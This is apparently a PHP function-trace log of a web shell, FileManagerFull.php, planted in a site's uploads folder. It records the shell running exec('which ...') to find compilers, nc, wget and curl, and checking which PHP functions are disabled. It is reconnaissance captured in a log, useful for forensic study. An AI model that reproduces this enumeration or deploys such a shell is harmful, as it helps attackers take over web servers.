7 310 0 0.037112 2802008 function_exists 0 /var/www/html/uploads/FileManagerFull.php 761 1 'exec'
7 310 1 0.037126 2802048
7 310 R TRUE
7 311 0 0.037139 2802032 exec 0 /var/www/html/uploads/FileManagerFull.php 762 2 'which cc' ''
7 311 1 0.038276 2802552
7 311 R '/usr/bin/cc'
7 312 0 0.038305 2802448 join 0 /var/www/html/uploads/FileManagerFull.php 763 2 '\n' [0 => '/usr/bin/cc']
7 312 1 0.038323 2802512
7 312 R '/usr/bin/cc'
6 A /var/www/html/uploads/FileManagerFull.php 763 $out = '/usr/bin/cc'
6 309 1 0.038351 2802048
6 309 R '/usr/bin/cc'
5 A /var/www/html/uploads/FileManagerFull.php 744 $data = '/usr/bin/cc'
5 308 1 0.038377 2802048
5 308 R '/usr/bin/cc'
4 A /var/www/html/uploads/FileManagerFull.php 2404 $path = '/usr/bin/cc'
4 307 1 0.038402 2801968
4 307 R 11
3 A /var/www/html/uploads/FileManagerFull.php 1155 $x++
4 313 0 0.038428 2801968 alfaWhich 1 /var/www/html/uploads/FileManagerFull.php 1155 1 'ld'
5 314 0 0.038443 2802008 alfaEx 1 /var/www/html/uploads/FileManagerFull.php 2404 4 'which ld' FALSE FALSE ???
6 315 0 0.038458 2802008 _alfa_php_cmd 1 /var/www/html/uploads/FileManagerFull.php 744 2 'which ld' FALSE
6 A /var/www/html/uploads/FileManagerFull.php 758 $out = ''
7 316 0 0.038484 2802008 function_exists 0 /var/www/html/uploads/FileManagerFull.php 761 1 'exec'
7 316 1 0.038498 2802048
7 316 R TRUE
7 317 0 0.038511 2802032 exec 0 /var/www/html/uploads/FileManagerFull.php 762 2 'which ld' ''
7 317 1 0.039811 2802552
7 317 R '/usr/bin/ld'
7 318 0 0.039856 2802448 join 0 /var/www/html/uploads/FileManagerFull.php 763 2 '\n' [0 => '/usr/bin/ld']
7 318 1 0.039940 2802512
7 318 R '/usr/bin/ld'
6 A /var/www/html/uploads/FileManagerFull.php 763 $out = '/usr/bin/ld'
6 315 1 0.039971 2802048
6 315 R '/usr/bin/ld'
5 A /var/www/html/uploads/FileManagerFull.php 744 $data = '/usr/bin/ld'
5 314 1 0.039998 2802048
5 314 R '/usr/bin/ld'
4 A /var/www/html/uploads/FileManagerFull.php 2404 $path = '/usr/bin/ld'
4 313 1 0.040024 2801968
4 313 R 11
3 A /var/www/html/uploads/FileManagerFull.php 1155 $x++
4 319 0 0.040052 2801968 alfaWhich 1 /var/www/html/uploads/FileManagerFull.php 1155 1 'make'
5 320 0 0.040067 2802008 alfaEx 1 /var/www/html/uploads/FileManagerFull.php 2404 4 'which make' FALSE FALSE ???
6 321 0 0.040083 2802008 _alfa_php_cmd 1 /var/www/html/uploads/FileManagerFull.php 744 2 'which make' FALSE
6 A /var/www/html/uploads/FileManagerFull.php 758 $out = ''
7 322 0 0.040110 2802008 function_exists 0 /var/www/html/uploads/FileManagerFull.php 761 1 'exec'
7 322 1 0.040126 2802048
7 322 R TRUE
7 323 0 0.040139 2802032 exec 0 /var/www/html/uploads/FileManagerFull.php 762 2 'which make' ''
7 323 1 0.041444 2802552
7 323 R '/usr/bin/make'
7 324 0 0.041475 2802448 join 0 /var/www/html/uploads/FileManagerFull.php 763 2 '\n' [0 => '/usr/bin/make']
7 324 1 0.041493 2802512
7 324 R '/usr/bin/make'
6 A /var/www/html/uploads/FileManagerFull.php 763 $out = '/usr/bin/make'
6 321 1 0.041522 2802048
6 321 R '/usr/bin/make'
5 A /var/www/html/uploads/FileManagerFull.php 744 $data = '/usr/bin/make'
5 320 1 0.041548 2802048
5 320 R '/usr/bin/make'
4 A /var/www/html/uploads/FileManagerFull.php 2404 $path = '/usr/bin/make'
4 319 1 0.041573 2801968
4 319 R 13
3 A /var/www/html/uploads/FileManagerFull.php 1155 $x++
4 325 0 0.041599 2801968 alfaWhich 1 /var/www/html/uploads/FileManagerFull.php 1155 1 'php'
5 326 0 0.041621 2802008 alfaEx 1 /var/www/html/uploads/FileManagerFull.php 2404 4 'which php' FALSE FALSE ???
6 327 0 0.041638 2802008 _alfa_php_cmd 1 /var/www/html/uploads/FileManagerFull.php 744 2 'which php' FALSE
6 A /var/www/html/uploads/FileManagerFull.php 758 $out = ''
7 328 0 0.041663 2802008 function_exists 0 /var/www/html/uploads/FileManagerFull.php 761 1 'exec'
7 328 1 0.041678 2802048
7 328 R TRUE
7 329 0 0.041691 2802032 exec 0 /var/www/html/uploads/FileManagerFull.php 762 2 'which php' ''
7 329 1 0.042893 2802552
7 329 R '/usr/bin/php'
7 330 0 0.042921 2802448 join 0 /var/www/html/uploads/FileManagerFull.php 763 2 '\n' [0 => '/usr/bin/php']
7 330 1 0.042939 2802512
7 330 R '/usr/bin/php'
6 A /var/www/html/uploads/FileManagerFull.php 763 $out = '/usr/bin/php'
6 327 1 0.042968 2802048
6 327 R '/usr/bin/php'
5 A /var/www/html/uploads/FileManagerFull.php 744 $data = '/usr/bin/php'
5 326 1 0.042995 2802048
5 326 R '/usr/bin/php'
4 A /var/www/html/uploads/FileManagerFull.php 2404 $path = '/usr/bin/php'
4 325 1 0.043020 2801968
4 325 R 12
3 A /var/www/html/uploads/FileManagerFull.php 1155 $x++
4 331 0 0.043046 2801968 alfaWhich 1 /var/www/html/uploads/FileManagerFull.php 1155 1 'perl'
5 332 0 0.043061 2802008 alfaEx 1 /var/www/html/uploads/FileManagerFull.php 2404 4 'which perl' FALSE FALSE ???
6 333 0 0.043076 2802008 _alfa_php_cmd 1 /var/www/html/uploads/FileManagerFull.php 744 2 'which perl' FALSE
6 A /var/www/html/uploads/FileManagerFull.php 758 $out = ''
7 334 0 0.043102 2802008 function_exists 0 /var/www/html/uploads/FileManagerFull.php 761 1 'exec'
7 334 1 0.043116 2802048
7 334 R TRUE
7 335 0 0.043129 2802032 exec 0 /var/www/html/uploads/FileManagerFull.php 762 2 'which perl' ''
7 335 1 0.044417 2802552
7 335 R '/usr/bin/perl'
7 336 0 0.044443 2802448 join 0 /var/www/html/uploads/FileManagerFull.php 763 2 '\n' [0 => '/usr/bin/perl']
7 336 1 0.044460 2802512
7 336 R '/usr/bin/perl'
6 A /var/www/html/uploads/FileManagerFull.php 763 $out = '/usr/bin/perl'
6 333 1 0.044488 2802048
6 333 R '/usr/bin/perl'
5 A /var/www/html/uploads/FileManagerFull.php 744 $data = '/usr/bin/perl'
5 332 1 0.044513 2802048
5 332 R '/usr/bin/perl'
4 A /var/www/html/uploads/FileManagerFull.php 2404 $path = '/usr/bin/perl'
4 331 1 0.044538 2801968
4 331 R 13
3 A /var/www/html/uploads/FileManagerFull.php 1155 $x++
4 337 0 0.044562 2801968 alfaWhich 1 /var/www/html/uploads/FileManagerFull.php 1155 1 'python'
5 338 0 0.044577 2802008 alfaEx 1 /var/www/html/uploads/FileManagerFull.php 2404 4 'which python' FALSE FALSE ???
6 339 0 0.044592 2802008 _alfa_php_cmd 1 /var/www/html/uploads/FileManagerFull.php 744 2 'which python' FALSE
6 A /var/www/html/uploads/FileManagerFull.php 758 $out = ''
7 340 0 0.044618 2802008 function_exists 0 /var/www/html/uploads/FileManagerFull.php 761 1 'exec'
7 340 1 0.044632 2802048
7 340 R TRUE
7 341 0 0.044645 2802032 exec 0 /var/www/html/uploads/FileManagerFull.php 762 2 'which python' ''
7 341 1 0.045809 2802152
7 341 R ''
7 342 0 0.045831 2802088 join 0 /var/www/html/uploads/FileManagerFull.php 763 2 '\n' []
7 342 1 0.045847 2802152
7 342 R ''
6 A /var/www/html/uploads/FileManagerFull.php 763 $out = ''
6 339 1 0.045872 2802008
6 339 R ''
5 A /var/www/html/uploads/FileManagerFull.php 744 $data = ''
5 338 1 0.045896 2802008
5 338 R ''
4 A /var/www/html/uploads/FileManagerFull.php 2404 $path = ''
4 337 1 0.045920 2801968
4 337 R FALSE
4 343 0 0.045934 2801968 alfaWhich 1 /var/www/html/uploads/FileManagerFull.php 1155 1 'ruby'
5 344 0 0.045948 2802008 alfaEx 1 /var/www/html/uploads/FileManagerFull.php 2404 4 'which ruby' FALSE FALSE ???
6 345 0 0.045963 2802008 _alfa_php_cmd 1 /var/www/html/uploads/FileManagerFull.php 744 2 'which ruby' FALSE
6 A /var/www/html/uploads/FileManagerFull.php 758 $out = ''
7 346 0 0.045995 2802008 function_exists 0 /var/www/html/uploads/FileManagerFull.php 761 1 'exec'
7 346 1 0.046009 2802048
7 346 R TRUE
7 347 0 0.046022 2802032 exec 0 /var/www/html/uploads/FileManagerFull.php 762 2 'which ruby' ''
7 347 1 0.047177 2802152
7 347 R ''
7 348 0 0.047199 2802088 join 0 /var/www/html/uploads/FileManagerFull.php 763 2 '\n' []
7 348 1 0.047215 2802152
7 348 R ''
6 A /var/www/html/uploads/FileManagerFull.php 763 $out = ''
6 345 1 0.047241 2802008
6 345 R ''
5 A /var/www/html/uploads/FileManagerFull.php 744 $data = ''
5 344 1 0.047265 2802008
5 344 R ''
4 A /var/www/html/uploads/FileManagerFull.php 2404 $path = ''
4 343 1 0.047289 2801968
4 343 R FALSE
4 349 0 0.047302 2801968 alfaWhich 1 /var/www/html/uploads/FileManagerFull.php 1155 1 'tar'
5 350 0 0.047316 2802008 alfaEx 1 /var/www/html/uploads/FileManagerFull.php 2404 4 'which tar' FALSE FALSE ???
6 351 0 0.047332 2802008 _alfa_php_cmd 1 /var/www/html/uploads/FileManagerFull.php 744 2 'which tar' FALSE
6 A /var/www/html/uploads/FileManagerFull.php 758 $out = ''
7 352 0 0.047357 2802008 function_exists 0 /var/www/html/uploads/FileManagerFull.php 761 1 'exec'
7 352 1 0.047371 2802048
7 352 R TRUE
7 353 0 0.047383 2802032 exec 0 /var/www/html/uploads/FileManagerFull.php 762 2 'which tar' ''
7 353 1 0.048576 2802552
7 353 R '/usr/bin/tar'
7 354 0 0.048602 2802448 join 0 /var/www/html/uploads/FileManagerFull.php 763 2 '\n' [0 => '/usr/bin/tar']
7 354 1 0.048619 2802512
7 354 R '/usr/bin/tar'
6 A /var/www/html/uploads/FileManagerFull.php 763 $out = '/usr/bin/tar'
6 351 1 0.048647 2802048
6 351 R '/usr/bin/tar'
5 A /var/www/html/uploads/FileManagerFull.php 744 $data = '/usr/bin/tar'
5 350 1 0.048673 2802048
5 350 R '/usr/bin/tar'
4 A /var/www/html/uploads/FileManagerFull.php 2404 $path = '/usr/bin/tar'
4 349 1 0.048698 2801968
4 349 R 12
3 A /var/www/html/uploads/FileManagerFull.php 1155 $x++
4 355 0 0.048724 2801968 alfaWhich 1 /var/www/html/uploads/FileManagerFull.php 1155 1 'gzip'
5 356 0 0.048738 2802008 alfaEx 1 /var/www/html/uploads/FileManagerFull.php 2404 4 'which gzip' FALSE FALSE ???
6 357 0 0.048754 2802008 _alfa_php_cmd 1 /var/www/html/uploads/FileManagerFull.php 744 2 'which gzip' FALSE
6 A /var/www/html/uploads/FileManagerFull.php 758 $out = ''
7 358 0 0.048779 2802008 function_exists 0 /var/www/html/uploads/FileManagerFull.php 761 1 'exec'
7 358 1 0.048794 2802048
7 358 R TRUE
7 359 0 0.048807 2802032 exec 0 /var/www/html/uploads/FileManagerFull.php 762 2 'which gzip' ''
7 359 1 0.049845 2802552
7 359 R '/usr/bin/gzip'
7 360 0 0.049869 2802448 join 0 /var/www/html/uploads/FileManagerFull.php 763 2 '\n' [0 => '/usr/bin/gzip']
7 360 1 0.049886 2802512
7 360 R '/usr/bin/gzip'
6 A /var/www/html/uploads/FileManagerFull.php 763 $out = '/usr/bin/gzip'
6 357 1 0.049914 2802048
6 357 R '/usr/bin/gzip'
5 A /var/www/html/uploads/FileManagerFull.php 744 $data = '/usr/bin/gzip'
5 356 1 0.049939 2802048
5 356 R '/usr/bin/gzip'
4 A /var/www/html/uploads/FileManagerFull.php 2404 $path = '/usr/bin/gzip'
4 355 1 0.049965 2801968
4 355 R 13
3 A /var/www/html/uploads/FileManagerFull.php 1155 $x++
4 361 0 0.049989 2801968 alfaWhich 1 /var/www/html/uploads/FileManagerFull.php 1155 1 'bzip'
5 362 0 0.050004 2802008 alfaEx 1 /var/www/html/uploads/FileManagerFull.php 2404 4 'which bzip' FALSE FALSE ???
6 363 0 0.050019 2802008 _alfa_php_cmd 1 /var/www/html/uploads/FileManagerFull.php 744 2 'which bzip' FALSE
6 A /var/www/html/uploads/FileManagerFull.php 758 $out = ''
7 364 0 0.050044 2802008 function_exists 0 /var/www/html/uploads/FileManagerFull.php 761 1 'exec'
7 364 1 0.050064 2802048
7 364 R TRUE
7 365 0 0.050078 2802032 exec 0 /var/www/html/uploads/FileManagerFull.php 762 2 'which bzip' ''
7 365 1 0.051069 2802152
7 365 R ''
7 366 0 0.051091 2802088 join 0 /var/www/html/uploads/FileManagerFull.php 763 2 '\n' []
7 366 1 0.051106 2802152
7 366 R ''
6 A /var/www/html/uploads/FileManagerFull.php 763 $out = ''
6 363 1 0.051132 2802008
6 363 R ''
5 A /var/www/html/uploads/FileManagerFull.php 744 $data = ''
5 362 1 0.051156 2802008
5 362 R ''
4 A /var/www/html/uploads/FileManagerFull.php 2404 $path = ''
4 361 1 0.051180 2801968
4 361 R FALSE
4 367 0 0.051194 2801968 alfaWhich 1 /var/www/html/uploads/FileManagerFull.php 1155 1 'bzialfa2'
5 368 0 0.051209 2802008 alfaEx 1 /var/www/html/uploads/FileManagerFull.php 2404 4 'which bzialfa2' FALSE FALSE ???
6 369 0 0.051224 2802008 _alfa_php_cmd 1 /var/www/html/uploads/FileManagerFull.php 744 2 'which bzialfa2' FALSE
6 A /var/www/html/uploads/FileManagerFull.php 758 $out = ''
7 370 0 0.051250 2802008 function_exists 0 /var/www/html/uploads/FileManagerFull.php 761 1 'exec'
7 370 1 0.051263 2802048
7 370 R TRUE
7 371 0 0.051276 2802032 exec 0 /var/www/html/uploads/FileManagerFull.php 762 2 'which bzialfa2' ''
7 371 1 0.052422 2802152
7 371 R ''
7 372 0 0.052451 2802088 join 0 /var/www/html/uploads/FileManagerFull.php 763 2 '\n' []
7 372 1 0.052468 2802152
7 372 R ''
6 A /var/www/html/uploads/FileManagerFull.php 763 $out = ''
6 369 1 0.052494 2802008
6 369 R ''
5 A /var/www/html/uploads/FileManagerFull.php 744 $data = ''
5 368 1 0.052519 2802008
5 368 R ''
4 A /var/www/html/uploads/FileManagerFull.php 2404 $path = ''
4 367 1 0.052543 2801968
4 367 R FALSE
4 373 0 0.052556 2801968 alfaWhich 1 /var/www/html/uploads/FileManagerFull.php 1155 1 'nc'
5 374 0 0.052571 2802008 alfaEx 1 /var/www/html/uploads/FileManagerFull.php 2404 4 'which nc' FALSE FALSE ???
6 375 0 0.052586 2802008 _alfa_php_cmd 1 /var/www/html/uploads/FileManagerFull.php 744 2 'which nc' FALSE
6 A /var/www/html/uploads/FileManagerFull.php 758 $out = ''
7 376 0 0.052611 2802008 function_exists 0 /var/www/html/uploads/FileManagerFull.php 761 1 'exec'
7 376 1 0.052625 2802048
7 376 R TRUE
7 377 0 0.052638 2802032 exec 0 /var/www/html/uploads/FileManagerFull.php 762 2 'which nc' ''
7 377 1 0.053930 2802552
7 377 R '/usr/bin/nc'
7 378 0 0.053961 2802448 join 0 /var/www/html/uploads/FileManagerFull.php 763 2 '\n' [0 => '/usr/bin/nc']
7 378 1 0.053980 2802512
7 378 R '/usr/bin/nc'
6 A /var/www/html/uploads/FileManagerFull.php 763 $out = '/usr/bin/nc'
6 375 1 0.054008 2802048
6 375 R '/usr/bin/nc'
5 A /var/www/html/uploads/FileManagerFull.php 744 $data = '/usr/bin/nc'
5 374 1 0.054034 2802048
5 374 R '/usr/bin/nc'
4 A /var/www/html/uploads/FileManagerFull.php 2404 $path = '/usr/bin/nc'
4 373 1 0.054060 2801968
4 373 R 11
3 A /var/www/html/uploads/FileManagerFull.php 1155 $x++
4 379 0 0.054086 2801968 alfaWhich 1 /var/www/html/uploads/FileManagerFull.php 1155 1 'locate'
5 380 0 0.054100 2802008 alfaEx 1 /var/www/html/uploads/FileManagerFull.php 2404 4 'which locate' FALSE FALSE ???
6 381 0 0.054116 2802008 _alfa_php_cmd 1 /var/www/html/uploads/FileManagerFull.php 744 2 'which locate' FALSE
6 A /var/www/html/uploads/FileManagerFull.php 758 $out = ''
7 382 0 0.054142 2802008 function_exists 0 /var/www/html/uploads/FileManagerFull.php 761 1 'exec'
7 382 1 0.054156 2802048
7 382 R TRUE
7 383 0 0.054169 2802032 exec 0 /var/www/html/uploads/FileManagerFull.php 762 2 'which locate' ''
7 383 1 0.055397 2802152
7 383 R ''
7 384 0 0.055420 2802088 join 0 /var/www/html/uploads/FileManagerFull.php 763 2 '\n' []
7 384 1 0.055436 2802152
7 384 R ''
6 A /var/www/html/uploads/FileManagerFull.php 763 $out = ''
6 381 1 0.055478 2802008
6 381 R ''
5 A /var/www/html/uploads/FileManagerFull.php 744 $data = ''
5 380 1 0.055503 2802008
5 380 R ''
4 A /var/www/html/uploads/FileManagerFull.php 2404 $path = ''
4 379 1 0.055526 2801968
4 379 R FALSE
4 385 0 0.055540 2801968 alfaWhich 1 /var/www/html/uploads/FileManagerFull.php 1155 1 'suidperl'
5 386 0 0.055555 2802008 alfaEx 1 /var/www/html/uploads/FileManagerFull.php 2404 4 'which suidperl' FALSE FALSE ???
6 387 0 0.055570 2802008 _alfa_php_cmd 1 /var/www/html/uploads/FileManagerFull.php 744 2 'which suidperl' FALSE
6 A /var/www/html/uploads/FileManagerFull.php 758 $out = ''
7 388 0 0.055595 2802008 function_exists 0 /var/www/html/uploads/FileManagerFull.php 761 1 'exec'
7 388 1 0.055609 2802048
7 388 R TRUE
7 389 0 0.055623 2802032 exec 0 /var/www/html/uploads/FileManagerFull.php 762 2 'which suidperl' ''
7 389 1 0.056864 2802152
7 389 R ''
7 390 0 0.056888 2802088 join 0 /var/www/html/uploads/FileManagerFull.php 763 2 '\n' []
7 390 1 0.056903 2802152
7 390 R ''
6 A /var/www/html/uploads/FileManagerFull.php 763 $out = ''
6 387 1 0.056929 2802008
6 387 R ''
5 A /var/www/html/uploads/FileManagerFull.php 744 $data = ''
5 386 1 0.056953 2802008
5 386 R ''
4 A /var/www/html/uploads/FileManagerFull.php 2404 $path = ''
4 385 1 0.056976 2801968
4 385 R FALSE
3 A /var/www/html/uploads/FileManagerFull.php 1161 $downloaders = [0 => 'wget', 1 => 'fetch', 2 => 'lynx', 3 => 'links', 4 => 'curl', 5 => 'get', 6 => 'lwp-mirror']
3 A /var/www/html/uploads/FileManagerFull.php 1162 $x = 0
4 391 0 0.057022 2801968 alfaWhich 1 /var/www/html/uploads/FileManagerFull.php 1163 1 'wget'
5 392 0 0.057037 2802008 alfaEx 1 /var/www/html/uploads/FileManagerFull.php 2404 4 'which wget' FALSE FALSE ???
6 393 0 0.057052 2802008 _alfa_php_cmd 1 /var/www/html/uploads/FileManagerFull.php 744 2 'which wget' FALSE
6 A /var/www/html/uploads/FileManagerFull.php 758 $out = ''
7 394 0 0.057077 2802008 function_exists 0 /var/www/html/uploads/FileManagerFull.php 761 1 'exec'
7 394 1 0.057091 2802048
7 394 R TRUE
7 395 0 0.057104 2802032 exec 0 /var/www/html/uploads/FileManagerFull.php 762 2 'which wget' ''
7 395 1 0.058325 2802552
7 395 R '/usr/bin/wget'
7 396 0 0.058350 2802448 join 0 /var/www/html/uploads/FileManagerFull.php 763 2 '\n' [0 => '/usr/bin/wget']
7 396 1 0.058367 2802512
7 396 R '/usr/bin/wget'
6 A /var/www/html/uploads/FileManagerFull.php 763 $out = '/usr/bin/wget'
6 393 1 0.058395 2802048
6 393 R '/usr/bin/wget'
5 A /var/www/html/uploads/FileManagerFull.php 744 $data = '/usr/bin/wget'
5 392 1 0.058421 2802048
5 392 R '/usr/bin/wget'
4 A /var/www/html/uploads/FileManagerFull.php 2404 $path = '/usr/bin/wget'
4 391 1 0.058445 2801968
4 391 R 13
3 A /var/www/html/uploads/FileManagerFull.php 1163 $x++
4 397 0 0.058470 2801968 alfaWhich 1 /var/www/html/uploads/FileManagerFull.php 1163 1 'fetch'
5 398 0 0.058485 2802008 alfaEx 1 /var/www/html/uploads/FileManagerFull.php 2404 4 'which fetch' FALSE FALSE ???
6 399 0 0.058500 2802008 _alfa_php_cmd 1 /var/www/html/uploads/FileManagerFull.php 744 2 'which fetch' FALSE
6 A /var/www/html/uploads/FileManagerFull.php 758 $out = ''
7 400 0 0.058525 2802008 function_exists 0 /var/www/html/uploads/FileManagerFull.php 761 1 'exec'
7 400 1 0.058539 2802048
7 400 R TRUE
7 401 0 0.058552 2802032 exec 0 /var/www/html/uploads/FileManagerFull.php 762 2 'which fetch' ''
7 401 1 0.059741 2802152
7 401 R ''
7 402 0 0.059763 2802088 join 0 /var/www/html/uploads/FileManagerFull.php 763 2 '\n' []
7 402 1 0.059779 2802152
7 402 R ''
6 A /var/www/html/uploads/FileManagerFull.php 763 $out = ''
6 399 1 0.059804 2802008
6 399 R ''
5 A /var/www/html/uploads/FileManagerFull.php 744 $data = ''
5 398 1 0.059834 2802008
5 398 R ''
4 A /var/www/html/uploads/FileManagerFull.php 2404 $path = ''
4 397 1 0.059858 2801968
4 397 R FALSE
4 403 0 0.059872 2801968 alfaWhich 1 /var/www/html/uploads/FileManagerFull.php 1163 1 'lynx'
5 404 0 0.059922 2802008 alfaEx 1 /var/www/html/uploads/FileManagerFull.php 2404 4 'which lynx' FALSE FALSE ???
6 405 0 0.059938 2802008 _alfa_php_cmd 1 /var/www/html/uploads/FileManagerFull.php 744 2 'which lynx' FALSE
6 A /var/www/html/uploads/FileManagerFull.php 758 $out = ''
7 406 0 0.059965 2802008 function_exists 0 /var/www/html/uploads/FileManagerFull.php 761 1 'exec'
7 406 1 0.059979 2802048
7 406 R TRUE
7 407 0 0.059992 2802032 exec 0 /var/www/html/uploads/FileManagerFull.php 762 2 'which lynx' ''
7 407 1 0.061181 2802152
7 407 R ''
7 408 0 0.061203 2802088 join 0 /var/www/html/uploads/FileManagerFull.php 763 2 '\n' []
7 408 1 0.061220 2802152
7 408 R ''
6 A /var/www/html/uploads/FileManagerFull.php 763 $out = ''
6 405 1 0.061245 2802008
6 405 R ''
5 A /var/www/html/uploads/FileManagerFull.php 744 $data = ''
5 404 1 0.061270 2802008
5 404 R ''
4 A /var/www/html/uploads/FileManagerFull.php 2404 $path = ''
4 403 1 0.061293 2801968
4 403 R FALSE
4 409 0 0.061306 2801968 alfaWhich 1 /var/www/html/uploads/FileManagerFull.php 1163 1 'links'
5 410 0 0.061321 2802008 alfaEx 1 /var/www/html/uploads/FileManagerFull.php 2404 4 'which links' FALSE FALSE ???
6 411 0 0.061336 2802008 _alfa_php_cmd 1 /var/www/html/uploads/FileManagerFull.php 744 2 'which links' FALSE
6 A /var/www/html/uploads/FileManagerFull.php 758 $out = ''
7 412 0 0.061361 2802008 function_exists 0 /var/www/html/uploads/FileManagerFull.php 761 1 'exec'
7 412 1 0.061375 2802048
7 412 R TRUE
7 413 0 0.061388 2802032 exec 0 /var/www/html/uploads/FileManagerFull.php 762 2 'which links' ''
7 413 1 0.062556 2802152
7 413 R ''
7 414 0 0.062577 2802088 join 0 /var/www/html/uploads/FileManagerFull.php 763 2 '\n' []
7 414 1 0.062593 2802152
7 414 R ''
6 A /var/www/html/uploads/FileManagerFull.php 763 $out = ''
6 411 1 0.062619 2802008
6 411 R ''
5 A /var/www/html/uploads/FileManagerFull.php 744 $data = ''
5 410 1 0.062644 2802008
5 410 R ''
4 A /var/www/html/uploads/FileManagerFull.php 2404 $path = ''
4 409 1 0.062667 2801968
4 409 R FALSE
4 415 0 0.062681 2801968 alfaWhich 1 /var/www/html/uploads/FileManagerFull.php 1163 1 'curl'
5 416 0 0.062695 2802008 alfaEx 1 /var/www/html/uploads/FileManagerFull.php 2404 4 'which curl' FALSE FALSE ???
6 417 0 0.062710 2802008 _alfa_php_cmd 1 /var/www/html/uploads/FileManagerFull.php 744 2 'which curl' FALSE
6 A /var/www/html/uploads/FileManagerFull.php 758 $out = ''
7 418 0 0.062735 2802008 function_exists 0 /var/www/html/uploads/FileManagerFull.php 761 1 'exec'
7 418 1 0.062749 2802048
7 418 R TRUE
7 419 0 0.062762 2802032 exec 0 /var/www/html/uploads/FileManagerFull.php 762 2 'which curl' ''
7 419 1 0.063941 2802552
7 419 R '/usr/bin/curl'
7 420 0 0.063965 2802448 join 0 /var/www/html/uploads/FileManagerFull.php 763 2 '\n' [0 => '/usr/bin/curl']
7 420 1 0.063982 2802512
7 420 R '/usr/bin/curl'
6 A /var/www/html/uploads/FileManagerFull.php 763 $out = '/usr/bin/curl'
6 417 1 0.064010 2802048
6 417 R '/usr/bin/curl'
5 A /var/www/html/uploads/FileManagerFull.php 744 $data = '/usr/bin/curl'
5 416 1 0.064035 2802048
5 416 R '/usr/bin/curl'
4 A /var/www/html/uploads/FileManagerFull.php 2404 $path = '/usr/bin/curl'
4 415 1 0.064060 2801968
4 415 R 13
3 A /var/www/html/uploads/FileManagerFull.php 1163 $x++
4 421 0 0.064084 2801968 alfaWhich 1 /var/www/html/uploads/FileManagerFull.php 1163 1 'get'
5 422 0 0.064105 2802008 alfaEx 1 /var/www/html/uploads/FileManagerFull.php 2404 4 'which get' FALSE FALSE ???
6 423 0 0.064120 2802008 _alfa_php_cmd 1 /var/www/html/uploads/FileManagerFull.php 744 2 'which get' FALSE
6 A /var/www/html/uploads/FileManagerFull.php 758 $out = ''
7 424 0 0.064145 2802008 function_exists 0 /var/www/html/uploads/FileManagerFull.php 761 1 'exec'
7 424 1 0.064160 2802048
7 424 R TRUE
7 425 0 0.064173 2802032 exec 0 /var/www/html/uploads/FileManagerFull.php 762 2 'which get' ''
7 425 1 0.065333 2802152
7 425 R ''
7 426 0 0.065356 2802088 join 0 /var/www/html/uploads/FileManagerFull.php 763 2 '\n' []
7 426 1 0.065372 2802152
7 426 R ''
6 A /var/www/html/uploads/FileManagerFull.php 763 $out = ''
6 423 1 0.065398 2802008
6 423 R ''
5 A /var/www/html/uploads/FileManagerFull.php 744 $data = ''
5 422 1 0.065422 2802008
5 422 R ''
4 A /var/www/html/uploads/FileManagerFull.php 2404 $path = ''
4 421 1 0.065446 2801968
4 421 R FALSE
4 427 0 0.065460 2801968 alfaWhich 1 /var/www/html/uploads/FileManagerFull.php 1163 1 'lwp-mirror'
5 428 0 0.065474 2802016 alfaEx 1 /var/www/html/uploads/FileManagerFull.php 2404 4 'which lwp-mirror' FALSE FALSE ???
6 429 0 0.065490 2802016 _alfa_php_cmd 1 /var/www/html/uploads/FileManagerFull.php 744 2 'which lwp-mirror' FALSE
6 A /var/www/html/uploads/FileManagerFull.php 758 $out = ''
7 430 0 0.065515 2802016 function_exists 0 /var/www/html/uploads/FileManagerFull.php 761 1 'exec'
7 430 1 0.065529 2802056
7 430 R TRUE
7 431 0 0.065542 2802040 exec 0 /var/www/html/uploads/FileManagerFull.php 762 2 'which lwp-mirror' ''
7 431 1 0.066688 2802576
7 431 R '/usr/bin/lwp-mirror'
7 432 0 0.066712 2802464 join 0 /var/www/html/uploads/FileManagerFull.php 763 2 '\n' [0 => '/usr/bin/lwp-mirror']
7 432 1 0.066729 2802528
7 432 R '/usr/bin/lwp-mirror'
6 A /var/www/html/uploads/FileManagerFull.php 763 $out = '/usr/bin/lwp-mirror'
6 429 1 0.066757 2802064
6 429 R '/usr/bin/lwp-mirror'
5 A /var/www/html/uploads/FileManagerFull.php 744 $data = '/usr/bin/lwp-mirror'
5 428 1 0.066783 2802064
5 428 R '/usr/bin/lwp-mirror'
4 A /var/www/html/uploads/FileManagerFull.php 2404 $path = '/usr/bin/lwp-mirror'
4 427 1 0.066809 2801968
4 427 R 19
3 A /var/www/html/uploads/FileManagerFull.php 1163 $x++
4 433 0 0.066834 2801968 function_exists 0 /var/www/html/uploads/FileManagerFull.php 1181 1 'get_magic_quotes_gpc'
4 433 1 0.066849 2802008
4 433 R TRUE
4 434 0 0.066862 2801968 get_magic_quotes_gpc 0 /var/www/html/uploads/FileManagerFull.php 1181 0
4 434 1 0.066874 2801968
4 434 R FALSE
3 A /var/www/html/uploads/FileManagerFull.php 1181 $quotes = FALSE
3 A /var/www/html/uploads/FileManagerFull.php 1181 $magic = '<span class="header_off">OFF</span>'
4 435 0 0.066913 2801968 Alfa_GetDisable_Function 1 /var/www/html/uploads/FileManagerFull.php 1183 0
5 436 0 0.066926 2801968 ini_get 0 /var/www/html/uploads/FileManagerFull.php 917 1 'disable_functions'
5 436 1 0.066942 2802448
5 436 R 'pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,'
4 A /var/www/html/uploads/FileManagerFull.php 917 $disfun = 'pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,'
4 A /var/www/html/uploads/FileManagerFull.php 918 $afa = '<span class="header_show_all">All Functions Accessible</span>'
